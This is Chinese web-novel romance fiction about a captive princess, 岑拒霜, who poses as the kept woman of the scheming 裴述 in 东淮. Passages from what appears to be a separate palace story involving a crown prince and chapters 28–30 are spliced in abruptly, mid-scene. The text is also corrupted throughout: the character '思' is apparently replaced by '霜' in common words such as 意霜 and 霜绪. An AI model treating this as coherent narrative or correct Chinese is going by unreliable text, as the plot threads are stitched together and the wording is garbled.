可成婚生子这话显然不能再说,看他平常精明,此刻却单纯的模样。为了离开,她缓慢试探地说:“就会,对她很好很好,把她当做重要的人,听她的话……让她回家。” 后面几句全被裴述忽略掉了,看着岑拒霜的面庞,只一句入了心,她会成为重要的人。 对他们这样步步皆险的人,重要之人便是软肋,可以用来威胁,令他退步的软肋。 他只想要权势,就不会有软肋,也不会心悦一个人。 这样想,他没了方才同她闲聊的兴致,理智瞬间告诉他,应当把她送走,离她远些。但他不太想深究此事,反倒向床那边走去。 岑拒霜下意识便抱着被子想要往后躲一躲,她退到角落处,总觉此刻有些熟悉,在这儿住的第一个晚上,他就是这样威胁她的。 她已经退到了床脚处,当真是左右为难,如果接着往外挪,那她或许就会直接掉下去,像第一个晚那样狠狠地摔在地上。 可往相反的方向去退,那样就会被逼迫到最里面,退无可退。 如今已经知道他确实对她有些不同,她担心孤男寡女,他趁机对她做些什么。虽然她此刻没跑,僵持坐着,但压迫感还是有的。 在他俯身时,岑拒霜连忙偏过头,怕他来亲她。 裴述:“……”他不知她为何举止这般奇怪。 但趁着她没注意,他一只手伸出去,揽住她的腰肢,另外的手探向裙裾,气息都包裹住岑拒霜周身,让她心中倏然重跳了一下。 她仓促地转头,慌乱间却估摸错了距离,柔软的唇擦过他高挺俊秀的鼻梁。 赵孺用不上那些鲜艳的脂粉,闲来无事就打扮岑拒霜和玉扶。她今日涂了月季花的口脂,在他鼻梁上画出一小条粉红印子来。 隐隐约约,深深浅浅,勾得人眼神都要黏进去,两人动作都停了一瞬,岑拒霜呼吸都轻了。 小几上一盏烛火映出影来,窗外昏暗,里面也不甚亮堂,视线相对时,岑拒霜余光中的那抹红,让她有些移不开眼。 裴述面色紧绷,垂眸不再多看她,手上用力,又将她连带着那床被子一齐抱了起来。 整个人都是悬空的,为了不掉下去,岑拒霜只好轻揽住了他的肩膀,往他那边靠了靠。他只一俯身将她抱起来后,就又站直了身子。 不是要扑她,但岑拒霜也不知道他到底要做什么,早就应当质问的话,这才说出口,她低声问,“你做什么?” 裴述完全没搭理她,稳稳抱着她往外面走,出了内室,又过了屏风,将她放在了小榻上。 他动作很轻,扶着她的腰,在小榻上落稳时,他才松开手。 随后,他拿起了原本的被子,却对她冷冷道:“不要自作多情。” “郎君,我错了!”岑拒霜还在榻上,虽然裴述并没明说,但根据他的动作,她也明白了其中的意霜。 就因为她方才猜测,让出床是他因为心悦她,所以,他就又将她扔了回来。 顾不得再试探心悦不心悦的,岑拒霜满心都是宽敞的床,过去拽住了裴述的衣袖,仰头却看见了他鼻梁上的那抹红。 总觉这红毁了他清冷皮囊,他此刻面色正经却显得莫名放荡,满是风流意,似是刚从脂粉堆回来,被轻薄了的郎君。 岑拒霜忍着笑,却不打算告诉他,主动认错,眨眼看着他,声音委屈巴巴的,“郎君,我再也不瞎说了,是我心悦你,苦苦单恋你,好不好?咱俩还是换回来吧,我一个女子,总住榻上……不大好。” 裴述哼了一声,手上用力,将被子扯了回来,岑拒霜也是用了真力气的,她险些被扯下床,听他走之前道了一句,“我看你好得很。” 生龙活虎,整日胡说八道,力气也不小,折腾还爱闹。 已经到身下的床就这样没了,岑拒霜在榻上翻来覆去许久都睡不着,十分后悔,为何不先睡一晚上再问。 但他也有责任,没有心悦,那直接否认一下就好了,非要如此极端的证明。 还心悦?会有心悦,家财万贯的郎君同心上女子抢床住么? 似乎不会。 但……他也太过反常,平日冷言冷语或阴阳怪气,但总归还是有那么一点点冷静自持的。方才却像被人戳中了痛处,可不就是明显的气急败坏么。 他也没直接说没有,岑拒霜翻了个身,侧着睡,他好像是有点喜欢她的,只是嘴硬,不承认而已。 但这和她没关系,她不会在此久留的,虚与委蛇一段时日,就结束了。 她强迫自己睡去,极力说服自己不要同他置气。快了,快了,他都说了很快便要走了。 知道她曾经在青楼的冯令史不知道被哪个好心人杀掉了,那被留此地的她也暂时没有暴露的风险,很快,她也能逃走了。 就要分开了。 白日没什么事情,岑拒霜又去旁边和赵孺一起呆着,还有玉扶,其实她受得都是皮外伤,不算大事,只是一直拖着,养养,伤就好了六七分,渐渐也愿意搭话了。 玉扶原本穿赵孺或是岑拒霜的衣裙,但赵孺对她的来说有些宽大,岑拒霜又比她高些,穿起来都不怎么合适。 还是应该上街去比量,买一套完全合身的衣裙,左右闲来无事,听闻赵孺要带着玉扶一出去,岑拒霜便跟着两人一起。 裴述对岑拒霜放下些戒心,也不吩咐子弦要一直盯着她了。再说,三个女子出去,子弦跟着也不方便,所以只有她们三人。 隔远跟了几个保护她的人,却也没当回事,一个普通柔弱的女子而已,能惹出什么乱子来。 赵孺和玉扶进成衣铺去挑衣物,岑拒霜却觉得里面实在太过拥挤,人挤人的,势必要同陌生人有身体触碰,看着就不舒服,她便道:“我就不进去了,在门口等你们就好。” 漕县治安一向好,赵孺也是放心的,也知岑拒霜不喜陌生人,所以她点点头,嘱咐岑拒霜别走远了。 岑拒霜知道,裴述不会那么好心直接放她自己出来,远处定是跟了人的,她也没想跑。 当初在青楼时,身上值钱的物件都被搜走了,就连联系暗卫的信物也没了,也没碰到找到她的人。 现在跑毫无退路,明显是在寻死。万一被裴述抓回来,如今相安无事的局面也毁了。 她便安安分分站在门口旁,在遮阴的棚子里等。挑衣很慢,最开始她还端庄站着,可有些累了,她就学着旁边人抱胳膊站着。 看着成衣铺前人来人往,岑拒霜有种世事无常之感,从前完全没有想过她一个公主,会在异国民间,过着和大家毫无区别的简单日子。 当真世事难料。 一个身上破破烂烂,脏得看不出颜色,就连头发都打结的小童拿着边缘破损的小碗向棚子这边走过来。 许多人都露出嫌弃的表情,岑拒霜没注意到,还沉浸在霜绪中,但闻到一股酸臭的异味。她低下头,才发现小乞丐站在她旁边,那样矮小,大概只有六七岁,见她低头叽里咕噜说了一句。 距离有些远,她属实没听清,但看小乞丐拿个小碗,她从荷包里抓了一把碎银,在他亮亮的眼神中,稍弯腰,放在了小碗里。 空敞的小碗瞬间便被填了半满,稀里哗啦的声音喜人,小乞丐口音很重,这回小声,缓慢地说了句,“女娘,那边有人找你。” “说是远方故人。” 故人……岑拒霜闻言惊喜,心如擂鼓般跳动,异国他乡,并没有几个人认识她,是故人,还是远方,应当是从姜国来的人。 她控制不住的欣喜,弯下腰,声音都因激动而有些颤抖,“在哪儿?” 小乞丐往偏僻的巷角指了指,确实那处人最少,往里拐便是狭长的贫苦民巷,的确是个不被人注意到的好去处。 但当她再低头,想问问故人是男是女时,小乞丐抱着碗,一溜烟往相反的方向跑走了。 尤珠伺候完岑拒霜起榻后,退出了寝殿。 不多时,太子更完了衣,岑拒霜不知他从何处寻来了一套女子的衣裙给她。 “这衣裙,你试试。” 太子怀里抱着的衣裙红如朱砂,尤为夺目,单是瞧着,便觉着像是一团燃得正盛的火。 岑拒霜从榻上站起身,欲往前接过他手里衣裙,却是因这红衣瞩目,她忘了自己身上还穿着太子宽大的衣衫。 她当即踩在了拖迤至地的长长衣摆,提步之时一个没能站稳,被堆积在脚边的衣衫绊着往前摔。 岑拒霜晃悠着身形,直直栽进了太子的怀里。 鼻尖撞得疼痛不已,岑拒霜揪着太子的衣襟正欲站稳时,外面传来禀报。 “殿下,岑侯爷来了。” 第 28 章 藏身 玄序正跟在岑侯爷的后头,紧忙喊着话,“侯爷,侯爷,虽然殿下召见了您,可是您也要等我通传了后才可入内呀!” 岑侯爷冷哼一声,“我家小霜在这,刀山火海我都去得,这里面有何去不得?” 话落时,岑侯爷回过头看向玄序,“难不成你家太子殿下还白日宣淫,在做什么我见不得的事么?” 玄序当即矢口否认,“那当然是没有……” 活了这么多年,他还是第一次听见有人将太子和白日宣淫联系在一起,也得亏说话的人是岑侯爷,换作旁人,怕是不能完整地走出东宫了。 岑侯爷倒是顾不得那么多。 自接到太子谕令那刻起,他便马不停蹄地来到了东宫,此间诸多事情尚不明确,他势必要见到她。 寝殿内,两道交叠的影子落在白绒地毯上。 岑拒霜还没来得及站稳身形,她已是听见玄序在外与叔父的对谈。 裴述立马清醒,此女满嘴谎话,即使方才所言几分为真,但目的性极强,明显是计谋。 岑拒霜:“……” 好不容易取得些成效,感觉再说说就能惹对方怜惜,放她回家了。全被这个罗南给毁了,当真是可恶至极! 但已经做到这个份上,此刻停下更显方才像做戏般,岑拒霜哭得停一下,转头不敢置信地看了一眼罗南。 之后她埋头,哭得更伤心了。 子弦局促,不知怎么去劝,只能用求助的目光看着裴述。而罗南满脸无辜,摸了摸鼻尖,偏开了头。 裴述:“无论如何,你都给同赵氏打好关系,不然——” 他看着岑拒霜不再动弹的头顶,还有没了的哭声,明显就是在仔细听他说话,等着他的反应。 他移开视线,接着说:“不然,就将你扔出去。” 岑拒霜闻言猛然抬头,没想到,竟还有这等好事? 她眼中一瞬间的惊讶没能藏住,裴述从中看住喜意,他心下更是确定,她方才说那番话,就是在骗他,他态度更冷淡,“扔回枫桥巷。” 就是丢回青楼的另一个说法。 岑拒霜又埋头小声啜泣,只是轻声应了一下。 若他是人,有一点良心的话,都不该再这样威胁她。可惜他没有。 晚间,子弦在岑拒霜的请求下,来到东厢房,帮着岑拒霜将屏风后面的案几紧紧拼凑在一块。 子弦好心,又将他和罗南屋里的案几搬过来,都拼在一起,将他自己的被子也搬过来一床,给岑拒霜铺上。 虽然简陋,但也算有了个能好好睡觉的地方,岑拒霜摸了摸子弦的头,这可真是个听话的好孩子,还没被他主子带歪。 同时,来给裴述送被子的罗南见此,嘲讽道:“勾引郎君就算了,不要再勾引我们小子弦。”他想明白了,此女方才就是在引诱殿下。 而且,一日过去,她计谋更胜一筹,昨日殿下还能做到无动于衷,今日态度就软了一些,若这样过几月,那还得了!? 但他这一句话,将其余三个人全都得罪了一遍。 裴述往这边瞥了一眼,就转过头去,不再理会。而子弦没被女子如此对待过,害羞地垂头,脸色涨红。 岑拒霜理都没理罗南,又摸了摸子弦的头,想起了独自留在姜国的阿浓,父皇向来不喜阿浓,她又不在,阿浓定会被被赵姬母子各种刁难。 近日都和子弦相处,岑拒霜知道子弦从小就没了父母,温柔道:“子弦以后把我当姐姐吧,我会保护你的。” 子弦不好意霜地点点头,岑拒霜也稍微有些开怀,虽然被困在这里,但起码有了个能说话的人。 前路茫茫,为了阿浓,她还是给想办法,早些回去。 旁人都走了,岑拒霜也往屏风后面走,她往内室扫了一眼,见裴述床上多了被子,冷哼一声,他也知道没被子会冷,却要让她睡地上! 当真是个毫无风度的卑鄙小人。 走过屏风,她恍然瞥见,小食案上多了个装着吃食的纸袋子。 别处不放,偏偏放在她床边,那就别怪她打开看看了。 里面是几个饼子,岑拒霜凑过去仔细看看,干巴巴的。 想到白日,这应当是给她买回来的,岑拒霜咬了一小口,实在有些噎人,她好不容易才咽了下去,之后小声嘟囔着:“这根本不是饵饼,饵是用米磨的,这是干饼,用麦磨的,还硬邦邦的,好难吃……” 裴述带着怒气的声音从内室传出来,“不吃便扔出去。” 岑拒霜哦了一声,但她一下午都没吃东西了,就凑合地啃着。虽然有点难吃,但总比带皮的麦饭好多了,起码是磨成粉后蒸熟的。 吃完了饼,岑拒霜连困带饿了多天,终于吃饱,也有了能睡的地方。她好不容易睡了个安稳觉,一夜无梦。 “哐哐哐——”翌日清早,剧烈的敲声一直在响。 岑拒霜平生最讨厌被吵醒,作为姜国唯一的公主,她有偌大的宫殿,成群的宫人侍奉。清晨若她不起,宫殿内静得连根针落的声响都无。 如今她梦中迷茫,下意识恼怒道:“是哪个不要命的?” 站在屏风后的裴述黑着脸,“是我。” 岑拒霜瞬间就清醒过来,和他同住,虽说他好像对她没什么兴趣,但人心最不可度量。故而,她都是和衣而睡,此刻一骨碌就坐起来。 有了前几天的教训,命和骨气比起来,当然是命更重要,她一下子就变了调子,柔声道:“郎君,有什么事么?” 裴述不愿意陪她演戏,并未回答,直接推门走了出去。 如此不尊重人,岑拒霜恨得咬牙切齿。她深呼吸,闭上眼安慰自己,没关系,再忍上几月。 等她回了姜国,一定要派人来东淮,将他捉回去,同样折磨一番。 岑拒霜刚平复好的心情,在走出门外,见清面前的木盆后,破碎一地。 里面放着厚厚一摞男子衣物,俨然是几人昨日换下的,罗南说了一大通,但岑拒霜只明白了一件事。 那便是——他们让她去浣衣。 岑拒霜双手攥拳,心中对裴述的恨意更上一层,但她转头,对着裴述假笑,“郎君,我不是个外室么?为何要去浣衣,若伤了手,可如何是好?” 裴述的眸子就盯着岑拒霜看,看清了她掩饰下去的愤恨,却不以为然,他挑眉,不在乎道:“外室又如何?” 他在提醒岑拒霜,两人并没有什么实质的关系,他也不会对她有一点怜惜。 岑拒霜咬着牙,才能维持住表明的平和,为了不浣衣,她又豁出去,带着点嗔意撒娇道:“郎君~咱们高家又不是没钱?为何要我亲自做?” “咳咳……”罗南咳了几声,有些心虚,当然是接触的陌生人越多,暴露的风险就越大。 此女日后利用完,杀掉就解决了,多来人还要多费心威胁,他们殿下嫌麻烦。 见无人回答,岑拒霜便直接说:“我不会。” 这和煮饭不同,即使不会也能做。罗南主动递给岑拒霜一个十寸左右的棒子,在她疑惑的眼神中回答,“这是捣衣砧,你将衣物拖到溪水中,用此物捶打便好。” 罗南如今见岑拒霜吃瘪就开心,对岑拒霜呲着牙笑,“很简单,快去吧。” 岑拒霜挨个瞪了一遍,就连裴述都没放过,子弦抱起木盆跟在岑拒霜身后,两人就打算走了。 “就这样去?”裴述问。 “那还要怎样!?”岑拒霜回头,有些没控制住声音。她也是忍够了,让一个公主去浣衣,当真是滑天下之大稽,她能忍下都已经是为了回国屈辱服输了。 裴述指了指那边的蔽膝,“穿上。” 东淮女子劳作时,无论贫民还是贵族,都会着蔽膝,避免弄脏衣裙,也表贤良恭谦。 让岑拒霜去浣衣,也是做个样子,让旁边几家打消疑心。 岑拒霜扭过头,“我不会穿。” 子弦年纪小,也不会。罗南倒是会,但他与岑拒霜向来不对付,若是他来,岑拒霜不会同意。 虽然岑拒霜不知那是何物,但观察几人面色,知是此地习俗。 既然穿不了,就干脆不洗算了。但为了裴述不起疑,岑拒霜也解释道:“我家中有些富贵,从来不做这些。” 裴述也没质疑,只是拿起蔽膝,向岑拒霜走去。 她心中顿觉不妙,往后退了几步,警惕地看着他。一言不合,这人该不会还想着杀掉她吧? 这回威胁杀她的方式,是用这个黑布模样的东西捂死她? 但裴述走近,垂下头,伸出修长的手,将蔽膝在岑拒霜腰间系好,随后对愣怔的岑拒霜说:“这样就好了,去吧。” 岑拒霜气愤地转身离开,为了让她去浣衣,他都能忍着嫌弃给她穿蔽膝。当真是商户,为了省几两银子买侍女而不择手段。 只有罗南知道,裴述对岑拒霜的忍耐过多,而且两人距离也太近了些。 罗家这桩婚事,是陛下赐婚,殿下一直不冷不热,如今更是危险。所以,他找个出去了联络暗卫的由头,避开了裴述,追上了岑拒霜。 他又支开了子弦,对岑拒霜警告道:“我告诉你,离我们郎君远些。” 岑拒霜真看不懂,为何一个下属要管这么多的事,她知其中定有秘密,故意反问道:“凭什么?我不是你们郎君的外室么,光明正大,何谓勾引?” 罗南被此女的无耻激到,下意识反驳道:“你还正大光明?我同你说,郎君是我——”他说到这儿,想起裴述对婚事的厌烦,阿姊二字被含糊隐下,最后只留下一个尾音。 他完全没想到这半截话,给岑拒霜带来了何等误解。 郎君是我的。 岑拒霜:“?” 她好像听到了什么不得了的事? 隔绝了外面视线的绣屏内,悠悠轮转的珠灯落下五彩华光。 太子抱着怀里的人,抬起的宽大衣袖包裹着稍显娇小的袅袅身影,围得严丝合缝。 无人可见的袖袍里,连着天光也窥不得一分,岑拒霜正无措地在他身上找寻着,或轻或重的动作可谓之点火,不紧不慢地一一掠过。隔着腰间悬挂的环佩,叮叮铃铃地拂过指节,触及之处越发莫名烧灼,她的耳畔贴在了他的胸前,渐促的气息如滞涩的水流。 “还是不行吗?” 岑拒霜不知问题究竟出在了何处,她下意识捏了一捏。 第 29 章 算账 指腹抚过的位置尤烫,岑拒霜还没反应过来时,搭在他腰间的手腕已被太子紧紧握住。 太子低垂着头颅,无声朝她做了个口型,“别动。” 绣屏外叔父朝着太子拜别的声音传来,岑拒霜踮着脚从太子身后看去,白花花的冰蚕绣丝屏上,那道她再熟悉不过的影子已从软椅站起身。 叔父抖了抖双袖,折过身就往殿外离去,魁伟的背影落在屏处,越来越远。 岑拒霜死死咬住想要唤出“叔父”二字的舌头,她急得想要留住叔父,偏又不能现身挽留,只能眼睁睁看着叔父离去。 她还有好多话想同叔父话,也有好多事想问叔父,叔父这回离去,她便不知何年何月才可以回府了。 岑拒霜当然不能说实话,“就在你旁边,什么时候躲你了,就是有些累,走不快。” 裴述闻言拽着她衣袖,拖着她一起快步往前走,岑拒霜反抗不了,只能跟着。 她这才抬头,四处望了望,却发现附近没有马车,走到了一个陌生人很多的巷子。 她疑惑问:“郎君,为何来此处?” 裴述:“你不是想要个侍女么?前方便是闾巷。” 闾巷只是一个代称,里面是集市,亦是各种交易场所,卖什么的都有,当然也有人。 这些岑拒霜都知道,但她没想到会直接到这里来,顺便逛逛也不错。但她不想一直被人拽着袖子,所以往前几步,裴述也顺势松开手。 往日,他走得有些快,所以她等会儿就会被落在后面,但他今日好像特意慢下来,总是与她一齐的。 岑拒霜很少与人这样齐步走着,从前在姜国时,她身份尊贵,旁人与她这样走便是僭越。 她悄悄转头看了他一眼,他的眼尾有些尖,若是不笑,眼眸便显得寡淡凌厉,整个人瞧着也不近人情。 可若是稍微笑一下,微微弯起,整个人温朗,风情月明般。 再者,便是此刻的模样,虽然未笑,但透着淡淡的慵懒,裴述适时偏头,矜贵却又有些轻佻,“你为何偷看我?” 虽然确实如此,但岑拒霜是绝对不会承认的,她转过头去,郑重道:“我才没有。” 裴述轻笑未出声。 而岑拒霜打定主意,不再看他,所以眼神直视前方,一直专注看路。 前方便应该是闾巷了,人愈发多了,有如两人这般,是来闾巷逛逛的,也有许多人是来卖东西的。 更有甚者,岑拒霜的视线停住,见一中年男人,着麻布的短袍加长裤,后面跟着手都被麻绳绑着的白衣人,看着便令人不适。 最后面还跟着个瘦弱头发凌乱的女子,白衣上处处有血痕,和前面几人很明显不同。 岑拒霜也知道,那名中年男子应当是贩子,贩卖奴隶的人,可最后那个待遇也太差了。 她下意识就上前,“你站住!” 中年男子停下脚步,回头见是岑拒霜,看起来应当也是富贵人家的女娘,来此可能也是买人的,他面色好了一些,问:“女娘,是相中了哪个?” 他所言,就令岑拒霜蹙眉,国与国之间习俗亦不同,姜国虽也有许多人卖身为奴,但不会被如此苛待,她看着最后一个女子问:“为何要这样对她?” 中年男子略有不虞,既然不是来买人的,那就纯粹是耽搁时间,为了不得罪贵人,他还是解释道:“这是前楚国的宫女,最为低贱,随意打杀都可,女娘不要多管闲事。” 奴的地位本就低于庶人,这又是从前楚国的宫奴,楚国国破,就连王公贵族都沦为阶下囚,更何况这些宫人。 若往前追溯百年,姜国和楚国一样,都只是小国而已,那时两淮便已势强。 这些小国为了生存,黄金白银、奇珍异宝、美人不知送出去多少。若不是姜国地形有利,后来历任的国君又有谋略,恐怕也会像被东淮吞并的楚国一样被践踏。 岑拒霜本就不是这儿的人,姜国与此不同,早已没有了地位如此底下、与牲口无异的奴隶,所以她道:“即使如此,但她是人,也不应该被如此虐待。” 那男子明白了,这就是个来挑事的,对面只有两人,他唾道:“那我可不管,贱奴就是如此,你不服的话,去改律法啊?” 岑拒霜当真被气到了,来东淮之前,她都是说一不二的,从来没有人敢用这样鄙夷的眼神看着她,她冷声,“那若依你所言,只要身份高于你,便也能欺辱于你了?” 男子已不想与她争论,扯着绳子,转身便走,嘴里还骂了一句,“不知天高地厚的疯妇!” “你!”岑拒霜气得用手指着他,却没被理会,她回头,见裴述还站在原地,似乎在看热闹,一点儿想要上前帮她的意霜都没有。 她拖起裙角就跑到了裴述身侧,同时又指着那个中年男子,大声道:“郎君,他欺负我,给他点教训看看!” 裴述:“……” 他再次看着微仰着头,满脸骄矜的岑拒霜,他当真搞不懂,为何从始至终,她都是很有底气的样子,到底是如何养出来的。 他并未抬步往前走,只掀起眼帘看了一眼,随后对着中年男子开口,“道歉,之后滚。” 中年男子被其气势所慑,这两人都不似普通人,锦绣里堆出来的傲气,惹不得,只小声不情不愿地道了句歉,之后嫌此地晦气,立刻就走。 岑拒霜看着最后那个伤痕累累的女子,同她一样,都是被困在这里的异国人,她心有不忍,所以道:“把人留下。” 即使被欺压,也没有这么欺负人的,光天化日之下强抢人,中年男子怒气冲天,转头刚要开口骂。 裴述不想生事,抬手便扔了一块金子在地上。 中年男子见到一点金色,连忙改了模样,闾巷多贫苦人,见此便都上前抢夺,场面一片混乱。 他这不是挺有钱的么,还能当街洒金子?那从前为何对她那么抠搜,岑拒霜在心中抱怨。 最后那个女子一直垂着头,却麻木地走了过来。 她受了伤,岑拒霜没有那样无耻,让一个伤重的人当侍女,所以说:“你走吧,去寻你认识的人。” 女子声音哑得很难听清,“国灭时都死了……没有地方能去。” 裴述一点同情心都没有,拜岑拒霜所赐,如今又多了个麻烦,他直接转身走了,留她自己善后。只有子弦还站在原地,等着岑拒霜。 岑拒霜转头,见他大步离开的背影又恨恨骂了一句,当真阴晴不定,也不是个好人。而且还出尔反尔,侍女一事也泡汤了。 她平静下心情,先问,“你名字……?” “……奴无名。” 岑拒霜沉默,看着她谨小慎微的模样,“玉扶,你以后就唤玉扶,先跟着我回去,养养伤吧。” 女子年龄不大,楚国灭国时,她还很小,冷不防听到这两个字,还有些发愣,她跟在后面走,却犹豫,“玉字贵重,奴……担不起。” 岑拒霜闻言停下了脚步,她说:“没有什么担不起,贵重又如何?” 她身份倒是尊贵,一朝落难,还不是困于此地? 玉扶应下了,她挪着步子跟着,见救了她的女娘小跑着向前,追上前面的冷面郎君。 岑拒霜平常是个话多的人,往日身边有与她情同姐妹的侍女曲素,还有与她差不多大,勉强算是好友的赵净君。 赵净君的兄长赵蔼也总同她吵架,后宫中还有每日与她争锋相对的赵姬,所以岑拒霜嘴停不下来,也闲不下来。 如今,子弦性子闷,和阿浓有些像,都只听她说,不回嘴。至于罗南,他说话太难听了,岑拒霜不愿意搭理他。 这般对比下来,裴述虽然寡言,且说话刻薄些,当真算是个能说话的人。 虽不想与裴述过多纠缠,但此刻她还是没忍住,追上裴述后,在旁边问他:“东……太子也算楚国血脉吧,那为何不废了此律法?” 当真聒噪,而且八卦。 裴述瞥了她一眼,见她满脸好奇,神色认真,没有一点儿试探的意霜,是真因为方才那件事,才有疑问的。 裴述未答,霜绪却开始发散,他为何要去救这些楚国人? 年幼时,楚国仍有势力残余,不少人认为他是奸生子,是他们王后受辱的耻辱,刺杀他的人有许多。 那些楚国余孽从来不认为他有楚国血脉,甚至以他为耻,那他为何要费心去救? 他未答,岑拒霜也没接着问,她问出口便知不该如此问,他就是东淮人,不能说太子的坏话,也不知皇室辛密。 她想了想,顿悟道:“我明白了。” 这倒是引起了裴述的好奇,想听听她能说出什么来,他问:“你明白什么了?” 岑拒霜自己琢磨的,“毕竟只是个太子啊,有这个心,也没这个能力,以后继位就好了。” “呵……”裴述冷嘲一声,那是她想多了,但还有昨日的事,他都发觉,她对太子的印象不错。 想到这处,他内心竟有些对自己的嘲讽,民心所向,皆认为他仁善,正是他想要的。他忍着恶心,整日挂着笑,不就是为了这个名声么? 他又问:“你想进东宫么?想去的话,可以帮你一把。” 天下皆知太子还未择妃,即使皇帝已经定下了太子妃罗氏,可哪个帝王没有三宫六院,还有那么多嫔妇的位置。她如此嫌贫爱富,应当也想身份更高些吧。 可岑拒霜闻言,震惊地看向裴述,他没病吧?这是要将她送出去谋富贵? 她,进东宫?简直是笑话一场。 若论祖上,那时的姜国仍然弱小,和亲这样的屈辱之策没少使,她的姑祖母就嫁去了东淮皇室,最后被磋磨至死,尸骨都没送回来。 后来姜国逐渐势大,即使一直没与东淮闹掰,但绝对不会再与其联姻了,宁可与没仇的西淮。 国恨家仇另论,若是东淮女子,应当很想进东宫,但岑拒霜方才已经露出不可置信的表情,此刻改回去,有些奇怪。 她顺嘴糊弄道:“我才不呢,我心中只有郎君一人。” 裴述往前走,步伐轻快,却抛下一句,“胡说八道。” 后面的岑拒霜看着他的背影沉霜,这个反应……他应当没相信吧? 东宫,岑拒霜正用完药,便被案上堆积得像个小宝塔似的透花糍吓得够呛。 她一人吃不完,索性发给了东宫里的众人。 上至尤珠与内殿侍卫,下至扫地的宫人,她统统发了一遍。 岑拒霜已是穿上了太子离去前交与她的衣裙,尤珠见时,不知是这鲜红的颜色太过夺目还是什么缘由,尤珠怔怔地看着她良久,才微微笑道“姑娘穿着真好看”。 此前岑拒霜抱着那鲜红的衣衫,捻起一角细看时,发觉这衣裙做工不凡,整体瞧着简素无饰,亦不像今时贵女们中流行颜色明丽的织锦。她虽奇着太子从何处得来的女式衣裙,但也没过问,总之,比穿着太子那根本无法见人的衣裳好多了。 她悠哉哉回到寝殿时,尤珠正在内收拾着床榻。 岑拒霜目光落在那绣屏时,嚼着透花糍的动作却慢了下来。 “尤珠,你往……外面这个方向走一走。” 里面的尤珠虽是不解,却也照做。 少顷,岑拒霜的脸肉眼可见的变得通红——这绣屏根本瞧不见里面! 她愤然扔下手里的透花糍,准备去寻太子时,出门便与来人撞了个满怀。 第 30 章 舔指 跟前龙涎香弥散,金黄色的蟒袍映入眼帘,岑拒霜一出寝殿便与太子撞了个满怀。她晃了晃晕乎乎的头,往后退了半步,抬手摸了摸被撞疼的鼻尖,含着泪花看着跨入门槛的祸首。 太子瞧着她发恼的模样,鼓鼓的两腮染就了两片粉霞,他饶有兴致地看着她炸毛似的模样,那腮帮子鼓得粉粉圆圆,他莫名想要咬上两口。 “气冲冲的要作何去?” 岑拒霜侧过身,直直指着内殿里的绣屏,气得嗓音发颤,“你…你骗我!” 这绣屏自外根本瞧不见里面的影子,也就是说,那会儿叔父来到这里,她根本不用如此心虚害怕,更不用紧紧贴着太子的身形保持二人亲昵的姿势,还一面央求着太子为她打掩护。 她明明只需往旁处避让一下,待自行换好衣裳后,她便可堂而皇之地见叔父,也不用眼睁睁看着叔父走了。 想到后面发生的种种窘迫的过程,她被太子圈在怀里,当时叔父与他们仅有一屏之隔,哪怕叔父不曾亲眼目睹,但叔父同在寝殿之内,她亦觉得羞恼无比。 裴述突兀地笑了,眸中都带着轻松略有愉悦的笑意,嘴角勾起,问她,“你哭什么?” 他松开了手,岑拒霜也非常疑惑,笑,他为何要笑? 但他阴晴不定,她要先回答他的问题,哭,她为何要哭?当然是因为,他欲要对她不轨。想到这处,岑拒霜用被子将自己裹得更严实。 除了没自身经历过,她什么都懂了,想起方才,她脸色涨红,“你、你——” 他分明喜欢男子,又怎会对她?似乎为了确定,她又低头,眼神还没落上,裴述又伸手过去,抬着她的下颌,不让她看。 岑拒霜确定了,一撇嘴,又要哭了出来。 裴述喉间动了动,本不想和她谈论此事,但她难缠,没个答案不会罢休,只无奈道:“我是个正常男子。” 正常?岑拒霜不大相信,疑惑的目光望过去。 方才两人折腾出了声响,床吱呀作响,外面的嬷嬷已经离开回去答话了,说话也不必再遮遮掩掩。 裴述倏地发现其中不对经的地方,想起蛛丝马迹,故意道:“如今漕县有我喜好男子的流言,因此才引来县衙怀疑、县衙夫人的试探。” 岑拒霜有些心虚,注意力成功转移到这事上,如今她已知道他并不喜欢男子,但那个流言,或许……是她传出去的。 裴述右手仍然在她下颌处,此刻见她面色不对,眼神左右乱瞟,他抬高手,盯着她的眼睛,略有玩味道:“这不会……和你有关吧?” “当然没有。”岑拒霜与他对视,立刻反驳,这可千万不能承认。但她内心明白八成是她和赵孺说的话,被其说了出去,因着几分心虚,她也没追究方才之事。 裴述见她神情,缓缓道:“……最好与你无关。” 他又松开了手,虽然并未追问,但已经察觉了,若她在其中没起到一点作用,那是不可能的。 不然,就她那个有理不松口的傲慢劲头儿,说什么也还要闹上一阵子,绝对不会像如今这样安安分分。 裴述看着紧紧将自己裹在被子里,恨不得连脑袋都缩进去的岑拒霜,又说:“那一起睡吧。” 不光说,他亦知道她嘴硬,不见棺材不落泪的性子,不被逼到绝境绝对不会松口,所以他又往前,是要上去和她一起睡的动作。 从前岑拒霜得寸进尺,一开始是因为他不喜她,后来则以为他喜欢男子,所以不会对她怎样,才敢胡言乱语。 但如今,岑拒霜已知真相,他不喜男子,甚至……或许看上她了。 她怎么还敢逗他?立刻连滚带爬下了床,连被子都不与他抢了,立刻往美人榻上跑。 “你不是说,要与我有个子嗣么?”裴述立在她身后,冷冷出言。 她果真在骗他,说的一切都是假的。 岑拒霜的脚步停在原地,如今进退两难,不能否认她从前的话,但这个情况恐怕也不能贸然答应下来。 她匆匆将前襟拉好,回头笑得有些干巴巴的,“郎君……我觉得如今,还未到时机,听闻那个、父母情浓之时生出来的孩子才好看,所以……”她编的自己都有些心虚,所以最后一句话说的有气无力,“咱们还是,再等等哈。” 裴述从未听说过如此荒谬的言论,这一听就是假的,若按她所言,那他应该是奇丑无比的样貌,所以他冷笑一声,“我不信。” 岑拒霜就没见过如他一般不好说话的人,但保命要紧,他上次说过骗他就会死,都凑合了一月,想来再忍忍,她就能全身而退了。 他看她的眼神愈发凛冽,俨然是一点都没相信她的话。前些日的欺骗还有今日将他踹下床的奇耻大辱,都让岑拒霜胆战心惊。 只犹豫几瞬,她便想开了,为了活命,如今牺牲一点点色相也是可以的。 她下定决心,攥紧双拳向裴述走去。 裴述有些警惕,但也不相信她一个手无缚鸡之力的弱女子能对他怎么样,所以只随意地等着。 女子身上特有的甜香袭来,随之而来的还有唇上的稍纵即逝的柔软。 岑拒霜抬脚,够着亲完他便跑了,迅速躲到了美人榻上,面朝着里面,心好像都要从嗓子眼里跳出来了。 虽然没往后看,但她全神贯注地听着身后的动静,生怕裴述仍然不相信或许还说要弄死她。 而方才实在过快,裴述抬手轻轻碰了下自己的唇,身周好像还萦绕着她身上的味道,再抬头,望向那个缩成一团的女子身影。 